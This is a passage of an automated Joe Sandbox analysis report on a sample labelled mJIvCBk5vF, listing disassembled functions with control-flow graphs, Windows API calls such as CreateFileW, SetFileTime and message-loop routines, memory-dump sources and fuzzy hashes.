                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1080 d9e180-d9e1c9 1081 d9e1cb-d9e1ce 1080->1081 1082 d9e1d4 1080->1082 1081->1082 1084 d9e1d0-d9e1d2 1081->1084 1083 d9e1d6-d9e1e6 1082->1083 1085 d9e1e8 1083->1085 1086 d9e1ee-d9e1f8 1083->1086 1084->1083 1085->1086 1087 d9e1fa 1086->1087 1088 d9e1fd-d9e22a 1086->1088 1087->1088 1089 d9e22c 1088->1089 1090 d9e232-d9e238 1088->1090 1089->1090 1091 d9e23a 1090->1091 1092 d9e23c-d9e254 CreateFileW 1090->1092 1091->1092 1093 d9e25a-d9e28a GetLastError call da169a 1092->1093 1094 d9e316 1092->1094 1100 d9e28c-d9e293 1093->1100 1101 d9e2be 1093->1101 1096 d9e319-d9e31c 1094->1096 1098 d9e32a-d9e32e 1096->1098 1099 d9e31e-d9e321 1096->1099 1103 d9e34f-d9e360 1098->1103 1104 d9e330-d9e333 1098->1104 1099->1098 1102 d9e323 1099->1102 1109 d9e298-d9e2b8 CreateFileW GetLastError 1100->1109 1110 d9e295 1100->1110 1106 d9e2c1-d9e2cb 1101->1106 1102->1098 1107 d9e362-d9e370 call d925c3 1103->1107 1108 d9e374-d9e39a call d91a66 call db5734 1103->1108 1104->1103 1105 d9e335-d9e34c SetFileTime 1104->1105 1105->1103 1111 d9e2cd-d9e2e2 1106->1111 1112 d9e300-d9e314 1106->1112 1107->1108 1109->1101 1115 d9e2ba-d9e2bc 1109->1115 1110->1109 1116 d9e2e4-d9e2f4 call d919a9 1111->1116 1117 d9e2f7-d9e2ff call db5726 1111->1117 1112->1096 1115->1106 1116->1117 1117->1112
                                                                                                                                                        APIs
                                                                                                                                                        • CreateFileW.KERNELBASE(?,00000001,00000000,00000000,00000003,08000000,00000000,D8943D1D,?,?,00000000,?,?,00000000,00DC9E6B,000000FF), ref: 00D9E248
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00000000,00DC9E6B,000000FF,?,00000011,?,?,00000000,?,?,?,?,?,?), ref: 00D9E25A
                                                                                                                                                        • CreateFileW.KERNEL32(?,00000001,00000000,00000000,00000003,08000000,00000000,?,?,?,?,00000000,00DC9E6B,000000FF,?,00000011), ref: 00D9E2A6
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00000000,00DC9E6B,000000FF,?,00000011,?,?,00000000,?,?,?,?,?,?), ref: 00D9E2AF
                                                                                                                                                        • SetFileTime.KERNEL32(00000000,00000000,?,00000000,?,?,00000000,00DC9E6B,000000FF,?,00000011,?,?,00000000,?,?), ref: 00D9E346
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File$CreateErrorLast$Time
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1999340476-0
                                                                                                                                                        • Opcode ID: 451ad913c4ac91318b860ef258fd44cfa17a4925b933376fda75537bb360fc73
                                                                                                                                                        • Instruction ID: 157f4e78f4b3899a4f7022565cc72ba94e5426cc31af2101b78f7d99be3a0de0
                                                                                                                                                        • Opcode Fuzzy Hash: 451ad913c4ac91318b860ef258fd44cfa17a4925b933376fda75537bb360fc73
                                                                                                                                                        • Instruction Fuzzy Hash: D9618B7091034AEFDF24CFA8C885BEE7BA4FB08314F24061AF915A7280D774A944CBA4
                                                                                                                                                        Function 00DA74EC Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1126 da74ec-da7536 call da77cf ReleaseSemaphore 1129 da7538 1126->1129 1130 da7556-da758a DeleteCriticalSection CloseHandle * 2 1126->1130 1131 da753b-da7554 call da75ed CloseHandle 1129->1131 1131->1130
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA77CF: ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,00000004,00D973B8), ref: 00DA77E1
                                                                                                                                                          • Part of subcall function 00DA77CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00000004,00D973B8), ref: 00DA77F5
                                                                                                                                                        • ReleaseSemaphore.KERNEL32(?,00000040,00000000,D8943D1D,?,?,00000001,00000000,00DCA603,000000FF,?,00DA90B9,?,?,00D95630,?), ref: 00DA752A
                                                                                                                                                        • CloseHandle.KERNELBASE(?,?,?,00DA90B9,?,?,00D95630,?,?,?,00000000,?,?,?,00000001,?), ref: 00DA7544
                                                                                                                                                        • DeleteCriticalSection.KERNEL32(?,?,00DA90B9,?,?,00D95630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00DA755D
                                                                                                                                                        • CloseHandle.KERNEL32(?,?,00DA90B9,?,?,00D95630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00DA7569
                                                                                                                                                        • CloseHandle.KERNEL32(?,?,00DA90B9,?,?,00D95630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00DA7575
                                                                                                                                                          • Part of subcall function 00DA75ED: WaitForSingleObject.KERNEL32(?,000000FF,00DA770A,?,?,00DA777F,?,?,?,?,?,00DA7769), ref: 00DA75F3
                                                                                                                                                          • Part of subcall function 00DA75ED: GetLastError.KERNEL32(?,?,00DA777F,?,?,?,?,?,00DA7769), ref: 00DA75FF
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1868215902-0
                                                                                                                                                        • Opcode ID: adb58ebbd49f428932a50adf851b81660ef7f35ba1521bbddb10354a1a9b9d6d
                                                                                                                                                        • Instruction ID: 5c182bdfcd57ce904ca44dacf5ce5495b573eadf2f8d0a55420a6368a88bdc42
                                                                                                                                                        • Opcode Fuzzy Hash: adb58ebbd49f428932a50adf851b81660ef7f35ba1521bbddb10354a1a9b9d6d
                                                                                                                                                        • Instruction Fuzzy Hash: 7C118472504706EFC7229F64DC84FC6FBA9FB09750F00492AF25AD2260CB75A941DB74
                                                                                                                                                        Function 00DB0678 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1134 db0678-db0691 PeekMessageW 1135 db06cc-db06ce 1134->1135 1136 db0693-db06a7 GetMessageW 1134->1136 1137 db06a9-db06b6 IsDialogMessageW 1136->1137 1138 db06b8-db06c6 TranslateMessage DispatchMessageW 1136->1138 1137->1135 1137->1138 1138->1135
                                                                                                                                                        APIs
                                                                                                                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DB0689
                                                                                                                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DB069A
                                                                                                                                                        • IsDialogMessageW.USER32(000103E4,?), ref: 00DB06AE
                                                                                                                                                        • TranslateMessage.USER32(?), ref: 00DB06BC
                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 00DB06C6
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Message$DialogDispatchPeekTranslate
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1266772231-0
                                                                                                                                                        • Opcode ID: d1de24bb140480996c45094d20c9c915e4b2768a995ff0d2a0d3ec29d67e8d4e
                                                                                                                                                        • Instruction ID: 3b49c5ff8e524c829f5a6f7fa6ec1bfb08e9a9d7e9f0efc2ea5159cd4e950f16
                                                                                                                                                        • Opcode Fuzzy Hash: d1de24bb140480996c45094d20c9c915e4b2768a995ff0d2a0d3ec29d67e8d4e
                                                                                                                                                        • Instruction Fuzzy Hash: B9F01DB190635AABCF60BBA2EC8CDDF7FBCEE452A07444410B506D2110E624D505CBB0
                                                                                                                                                        Function 00DB2813 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1139 db2813-db2845 call d97673 1142 db284a-db2850 1139->1142 1143 db2847 1139->1143 1144 db2abd 1142->1144 1145 db2856-db285b 1142->1145 1143->1142 1146 db2abf-db2ac3 1144->1146 1147 db285d 1145->1147 1148 db2860-db286e 1145->1148 1149 db2ace-db2ad2 1146->1149 1150 db2ac5-db2ac8 1146->1150 1147->1148 1151 db2870-db287c 1148->1151 1152 db2896 1148->1152 1155 db2af7 1149->1155 1156 db2ad4-db2ad7 1149->1156 1154 db2aca-db2acc 1150->1154 1150->1155 1151->1152 1157 db287e 1151->1157 1153 db2899-db289c 1152->1153 1158 db28a2-db28a7 1153->1158 1159 db2ab7 1153->1159 1160 db2ada-db2af2 call d97673 call db38a0 1154->1160 1166 db34ad-db34e9 call d958cb 1155->1166 1156->1155 1161 db2ad9 1156->1161 1162 db2884-db2888 1157->1162 1163 db28a9 1158->1163 1164 db28ac-db28d7 call dbacee call d91afc 1158->1164 1159->1144 1160->1155 1161->1160 1167 db288e-db2894 1162->1167 1168 db29f0-db29f2 1162->1168 1163->1164 1164->1166 1178 db28dd-db28e1 1164->1178 1167->1152 1167->1162 1168->1152 1171 db29f8-db29fc 1168->1171 1171->1153 1179 db28e3 1178->1179 1180 db28e5-db28ec 1178->1180 1179->1180 1181 db28ee 1180->1181 1182 db28f1-db292f call d9120c call da645a 1180->1182 1181->1182 1187 db2935-db2937 1182->1187 1188 db293d-db299f call d914a7 call d9adaa call d91a66 call d914a7 call d9adaa call d91a66 1187->1188 1189 db2a01-db2a07 1187->1189 1218 db29a1-db29a3 1188->1218 1219 db29a4-db29d2 call d914a7 call d9adaa call d91a66 1188->1219 1191 db2a09-db2a24 1189->1191 1192 db2a4e-db2a68 1189->1192 1196 db2a26-db2a3f call d919a9 1191->1196 1197 db2a45-db2a4d call db5726 1191->1197 1194 db2a6a-db2a85 1192->1194 1195 db2aaf-db2ab5 1192->1195 1201 db2a87-db2aa0 call d919a9 1194->1201 1202 db2aa6-db2aae call db5726 1194->1202 1195->1146 1196->1197 1197->1192 1201->1202 1202->1195 1218->1219 1226 db29d7-db29eb call da645a 1219->1226 1227 db29d4-db29d6 1219->1227 1226->1187 1227->1226
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _wcslen
                                                                                                                                                        • String ID: HIDE$MAX$MIN
                                                                                                                                                        • API String ID: 176396367-2426493550
                                                                                                                                                        • Opcode ID: ebff0391465d96ac6edf7eff391f2d04f8678a96f19840522ec9527dc5c54136
                                                                                                                                                        • Instruction ID: 1f47ccba5aaa96a1b5bb8c4b054382fce72bfd7e02501d7997314f5e6b4f2452
                                                                                                                                                        • Opcode Fuzzy Hash: ebff0391465d96ac6edf7eff391f2d04f8678a96f19840522ec9527dc5c54136
                                                                                                                                                        • Instruction Fuzzy Hash: 44A15A76C00259DFCF25DBA4C885AEDBBB8FF49310F14059AD406B7251DB349A89CB70
                                                                                                                                                        Function 00DAF2CE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1230 daf2ce-daf2f7 GetClassNameW 1231 daf2f9-daf30e call da8da4 1230->1231 1232 daf31f-daf321 1230->1232 1239 daf31e 1231->1239 1240 daf310-daf31c FindWindowExW 1231->1240 1233 daf32c-daf338 call db5734 1232->1233 1234 daf323-daf326 SHAutoComplete 1232->1234 1234->1233 1239->1232 1240->1239
                                                                                                                                                        APIs
                                                                                                                                                        • GetClassNameW.USER32(?,?,00000050), ref: 00DAF2EF
                                                                                                                                                        • SHAutoComplete.SHLWAPI(?,00000010), ref: 00DAF326
                                                                                                                                                          • Part of subcall function 00DA8DA4: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,000000FF,00DA0E3F,?,?,?,00000046,00DA1ECE,00000046,?,exe,00000046), ref: 00DA8DBA
                                                                                                                                                        • FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00DAF316
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AutoClassCompareCompleteFindNameStringWindow
                                                                                                                                                        • String ID: EDIT
                                                                                                                                                        • API String ID: 4243998846-3080729518
                                                                                                                                                        • Opcode ID: edd2573f184cb6bcf25519dcb0828ba74bd9ba1f531c852a56bd3b38b49d61e4
                                                                                                                                                        • Instruction ID: 97feffb318ce08f5a1a3d6ea5840fdddc9be0c69ca86f5f60875e258db4aac52
                                                                                                                                                        • Opcode Fuzzy Hash: edd2573f184cb6bcf25519dcb0828ba74bd9ba1f531c852a56bd3b38b49d61e4
                                                                                                                                                        • Instruction Fuzzy Hash: 5AF06831701719ABDF20AB649D45FDFB7BCDF46B10F150065F901EB2C1DAB0A9058679
                                                                                                                                                        Function 00DAF4D4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34comCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DA6C5E: __EH_prolog3_GS.LIBCMT ref: 00DA6C65
                                                                                                                                                          • Part of subcall function 00DA6C5E: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00DA6C9A
                                                                                                                                                        • OleInitialize.OLE32(00000000), ref: 00DAF4ED
                                                                                                                                                        • GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00DAF524
                                                                                                                                                        • SHGetMalloc.SHELL32(00DE532C), ref: 00DAF52E
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: DirectoryGdiplusH_prolog3_InitializeMallocStartupSystem
                                                                                                                                                        • String ID: riched20.dll
                                                                                                                                                        • API String ID: 2446841611-3360196438
                                                                                                                                                        • Opcode ID: 05abbf768386c0de2d35dc01ffb05a9f6e223e2681cb8693e9d11476df36360d
                                                                                                                                                        • Instruction ID: 8b496794c05ad2413abad04a20643e3dedc9cfaf2b00a8aeb084dda2b84c2b50
                                                                                                                                                        • Opcode Fuzzy Hash: 05abbf768386c0de2d35dc01ffb05a9f6e223e2681cb8693e9d11476df36360d
                                                                                                                                                        • Instruction Fuzzy Hash: 2BF0F9B5D00249ABCB50AF99DC499EEFFFCEF94744F00405AE415E2250D7B856058BB1
                                                                                                                                                        Function 00D9E948 Relevance: 6.1, APIs: 4, Instructions: 117fileCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1245 d9e948-d9e961 call db57d8 1248 d9e96a-d9e974 1245->1248 1249 d9e963-d9e965 1245->1249 1251 d9e988 1248->1251 1252 d9e976-d9e983 GetStdHandle 1248->1252 1250 d9eaa6-d9eaab call db5787 1249->1250 1254 d9e98b-d9e998 1251->1254 1253 d9ea6f-d9ea72 1252->1253 1253->1254 1256 d9e99a-d9e99e 1254->1256 1257 d9e9df-d9e9f4 WriteFile 1254->1257 1260 d9e9ff-d9ea03 1256->1260 1261 d9e9a0-d9e9ab 1256->1261 1259 d9e9f7-d9e9f9 1257->1259 1259->1260 1262 d9ea9f-d9eaa2 1259->1262 1260->1262 1263 d9ea09-d9ea0d 1260->1263 1264 d9e9ad 1261->1264 1265 d9e9af-d9e9ce WriteFile 1261->1265 1262->1250 1263->1262 1266 d9ea13-d9ea25 call d99230 1263->1266 1264->1265 1265->1259 1267 d9e9d0-d9e9db 1265->1267 1271 d9ea77-d9ea9a call d914a7 call d99653 call d91a66 1266->1271 1272 d9ea27-d9ea30 1266->1272 1267->1261 1269 d9e9dd 1267->1269 1269->1259 1271->1262 1272->1254 1274 d9ea36-d9ea3a 1272->1274 1274->1254 1276 d9ea40-d9ea6c 1274->1276 1276->1253
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9E94F
                                                                                                                                                        • GetStdHandle.KERNEL32(000000F5,0000002C,00DA2D28,?,?,?,?,00000000,00DAABB6,?,?,?,?,?,00DAA80E,?), ref: 00D9E978
                                                                                                                                                        • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00D9E9BE
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileH_prolog3_HandleWrite
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2898186245-0
                                                                                                                                                        • Opcode ID: 4c29c6474d581d953e2fd4e23450d9a2c4913b3b30f682dda4f4bd60810e89b8
                                                                                                                                                        • Instruction ID: f9b49f0ec367395772ed96f054ea775ef81934386e1966432fc4a2971023907b
                                                                                                                                                        • Opcode Fuzzy Hash: 4c29c6474d581d953e2fd4e23450d9a2c4913b3b30f682dda4f4bd60810e89b8
                                                                                                                                                        • Instruction Fuzzy Hash: 77416835A01219EBDF14DFA8D884BADBBB6FF84700F084118E945AB291CB719D44CBB1
                                                                                                                                                        Function 00D9EFEF Relevance: 6.1, APIs: 4, Instructions: 96COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1284 d9efef-d9f00a call db57d8 call da13da 1289 d9f00c-d9f00f 1284->1289 1290 d9f031-d9f033 1284->1290 1289->1290 1291 d9f011-d9f017 1289->1291 1292 d9f035-d9f03d call d9ed0d 1290->1292 1293 d9f019 1291->1293 1294 d9f01b-d9f029 CreateDirectoryW 1291->1294 1301 d9f0e3-d9f0f0 GetLastError 1292->1301 1302 d9f043-d9f065 call da169a 1292->1302 1293->1294 1296 d9f02f 1294->1296 1297 d9f0d0-d9f0d4 1294->1297 1296->1292 1299 d9f0df-d9f0e1 1297->1299 1300 d9f0d6-d9f0da call d9f58b 1297->1300 1305 d9f0fb-d9f100 call db5787 1299->1305 1300->1299 1301->1305 1306 d9f0f2-d9f0fa 1301->1306 1310 d9f07d-d9f087 1302->1310 1311 d9f067-d9f06e 1302->1311 1306->1305 1312 d9f089-d9f09e 1310->1312 1313 d9f0bc-d9f0ce 1310->1313 1314 d9f070 1311->1314 1315 d9f073-d9f07b CreateDirectoryW 1311->1315 1316 d9f0a0-d9f0b0 call d919a9 1312->1316 1317 d9f0b3-d9f0bb call db5726 1312->1317 1313->1297 1313->1301 1314->1315 1315->1310 1316->1317 1317->1313
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9EFF6
                                                                                                                                                        • CreateDirectoryW.KERNELBASE(?,00000000,?,00000024,00D9EBA7,?,00000001,00000000,?,?,00000024,00D9A4DE,?,00000001,?,?), ref: 00D9F01F
                                                                                                                                                        • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,?,00000024,00D9EBA7,?,00000001,00000000,?,?,00000024,00D9A4DE,?), ref: 00D9F075
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00000024,00D9EBA7,?,00000001,00000000,?,?,00000024,00D9A4DE,?,00000001,?,?,00000000), ref: 00D9F0E3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateDirectory$ErrorH_prolog3_Last
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3709856315-0
                                                                                                                                                        • Opcode ID: 6a9e80b6654e2bddb7c536d7e8bde509fc24800e2af27d039e5698ad94948b76
                                                                                                                                                        • Instruction ID: 3905ba8ec7a16e6a8d3f4a5e4c7f8ed81903937a33901c02ead5ca57f1c8f8b5
                                                                                                                                                        • Opcode Fuzzy Hash: 6a9e80b6654e2bddb7c536d7e8bde509fc24800e2af27d039e5698ad94948b76
                                                                                                                                                        • Instruction Fuzzy Hash: A8317071A10209DBDF10DFA9D888BEEBBF8EF48340F18442AE545E3252CB749985CB75
                                                                                                                                                        Function 00D9E019 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetStdHandle.KERNEL32(000000F6,?,?,?,00000000,00D9E5D2,?,?,00000000,?,00000000), ref: 00D9E029
                                                                                                                                                        • ReadFile.KERNELBASE(?,?,00000000,00100000,00000000,?,?,?,00000000,00D9E5D2,?,?,00000000,?,00000000), ref: 00D9E041
                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,00000000,00D9E5D2,?,?,00000000,?,00000000), ref: 00D9E073
                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,00000000,00D9E5D2,?,?,00000000,?,00000000), ref: 00D9E092
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast$FileHandleRead
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2244327787-0
                                                                                                                                                        • Opcode ID: 10e56d1b77a81453c96c7b9ea12575dc1fb82ab368ec2b4ca4356c56208c8516
                                                                                                                                                        • Instruction ID: 40c85bfde2a4fd031d30a733f23addd573c95a28baa5514ce1a962f3cd733458
